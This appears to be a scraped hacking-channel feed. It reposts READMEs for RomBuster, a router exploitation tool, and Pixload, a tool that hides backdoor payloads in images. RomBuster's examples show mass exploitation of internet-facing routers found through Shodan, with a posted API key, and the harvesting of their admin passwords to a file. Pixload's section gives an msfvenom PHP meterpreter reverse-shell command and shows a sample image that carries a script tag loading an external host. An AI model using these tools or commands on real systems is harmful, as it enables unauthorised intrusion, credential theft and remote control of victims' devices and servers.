Hacking Articles Tips Tricks Videos Tutorials

RomBuster - A Router Exploitation Tool That Allows To Disclosure Network Router Admin Password

RomBuster is a router exploitation tool that allows to disclosure network router admin password. Features Exploits vulnerabilities in most popular routers such as D-Link, Zyxel, TP-Link and Huawei. Optimized to exploit multiple routers at one time from list with threading enabled. Simple CLI and API usage. Installation pip3 install git+https://github.com/EntySec/RomBuster Basic usage To use RomBuster just type rombuster in your terminal. exploitation tool that allows to disclosure network router admin password. optional arguments: -h, --help show this help message and exit -t, --threads Use threads for fastest work. -o OUTPUT, --output OUTPUT Output result to file. -i INPUT, --input INPUT Input file of addresses. -a ADDRESS, --address ADDRESS Single address. --shodan SHODAN Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: rombuster -h -t -o OUTPUT -i INPUT -a ADDRESS --shodan SHODAN --zoomeye ZOOMEYE -p PAGESRomBuster is a router exploitation tool that allows to disclosure networkrouter admin password.optional arguments: -h, --help show this help message and exit -t, --threads Use threads for fastest work. -o OUTPUT, --output OUTPUT Output result to file. -i INPUT, --input INPUT Input file of addresses. -a ADDRESS, --address ADDRESS Single address. --shodan SHODAN Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. Examples Exploiting single router Let's hack my router just for fun. rombuster -a 192.168.99.1 Exploiting routers from Internet Let's try to use Shodan search engine to exploit routers over Internet, we will use it with -t for fast exploitation. rombuster -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) Exploiting routers from input file Let's try to use opened database of routers with -t for fast exploitation. rombuster -t -i routers.txt -o passwords.txt NOTE: It will exploit all routers in routers.txt list by their addresses and save all obtained passwords to passwords.txt. API usage RomBuster also has their own Python API that can be invoked by importing RomBuster to your code. from rombuster import RomBuster Basic functions There are all RomBuster basic functions that can be used to exploit specified router. exploit(address) - Exploit single router by given address. Examples Exploiting single router from rombuster import RomBusterrombuster = RomBuster()creds = rombuster.exploit('192.168.99.100')print(creds) Download RomBuster
Read more...

16 views12:51

10 views13:25

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Crackonosh virus mined $2 million of Monero from 222,000 hacked computers

https://external-preview.redd.it/1U2Z0NDEx-zC19T7Qi5FteP08ucR5yPkVpmxIn-Zbn0.jpg?width=640&crop=smart&auto=webp&s=007ac37414da311d89618893c762c1f7069e2196 submitted by /u/CodePerfect
[link] [comments]

11 views13:25

Hacking Articles Tips Tricks Videos Tutorials

11 views13:25

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
As usual - weekly cyber news recap:

submitted by /u/caramel_member
[link] [comments]

11 views13:25

Hacking Articles Tips Tricks Videos Tutorials

11 views13:27

Hacking Articles Tips Tricks Videos Tutorials

Photo

Black Hat Ethical Hacking
Offensive Security Tool: Pixload

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Offensive Security Tool: PixloadPost Views: 107 https://www.blackhatethicalhacking.com/wp-content/uploads/2020/11/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-8-1-300x120.png Reading Time: 3 Minutes
Offensive Security Tool: Pixload GitHub Link
Pixload – Image Payload Creating tools

Description

Pixload by chinarulezzz, is a set of tools for hiding backdoors creating/injecting payload into images.

The following image types are currently supported: BMP, GIF, JPG, PNG, WebP.

This tool is really powerful, a lot of scenarios can be used, in order to trigger a connection on a server getting a shell while you search for ‘upload’ functions on a website which usually exist, especially when you upload a profile pic, logo etc.. Which will process the injected payload, once the server processes the image to be shown when uploaded, testing the security mechanisms of a WebApp.
about

Useful references for better understanding of pixloadand its use-cases:

* Bypassing CSP using polyglot JPEGs
* Hacking group using Polyglot images to hide malvertising attacks
* Encoding Web Shells in PNG IDAT chunks
* An XSS on Facebook via PNGs & Wonky Content Types
* Revisiting XSS payloads in PNG IDAT chunks
If you want to encode a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid image file, I recommend you to look here and here.
msfvenom

If you want to inject a metasploit payload, try something like this:
msfvenom -p php/meterpreter_reverse_tcp \\\\\\\\
LHOST=192.168.0.1
LPORT=31337 -f raw > payload.php # Edit payload.php if need.
./pixload/png.pl -payload "$(cat payload.php)" -output payload.png
SETUP

The following Perl modules are required:

* GD
* Image::ExifTool
* String::CRC32
On Debian-basedsystems install these packages:
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
On FreeBSDand DragonFlyBSDinstall these packages:
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
On OSXplease refer to this workaround (thnx 2 @iosdec).
Docker
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
TOOLS

bmp.pl

BMP Payload Creator/Injector.

Create a minimal BMP Polyglot Image with custom/default payload, or inject payload into existing image.
Usage
./bmp.pl [-payload 'STRING'] -output payload.bmp

If the output file exists, then the payload will be injected into the
existing file. Else the new one will be created.
Example
./bmp.pl -output payload.bmp

[>| BMP Payload Creator/Injector |]

https://github.com/chinarulezzz/pixload

[>] Generating output file
[✔] File saved to: payload.bmp

[>] Injecting payload into payload.bmp
[✔] Payload was injected successfully

payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1

00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;script src=/|
00000030 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f 73 63 72 69 70 |/nji.xyz>|
00000040 74 3e 3b |t>;|
00000043
gif.pl

GIF Payload Creator/Injector.

Create a minimal GIF Polyglot Image with custom/default payload, or inject payload into existing image. Usage
./gif.pl [-payload 'STRING'] -output payload.gif

If the output file exists, then the payload will be injected into the
existing file. Else the new one will be generated.
Example
./gif.pl -output payload.gif

[>| GIF Payload Creator/Injector |]

https://github.com/chinarulezzz/pixload

[>] Generating output file
[✔] File saved to: payl[...]

13 views13:27

About

Blog

Apps

Platform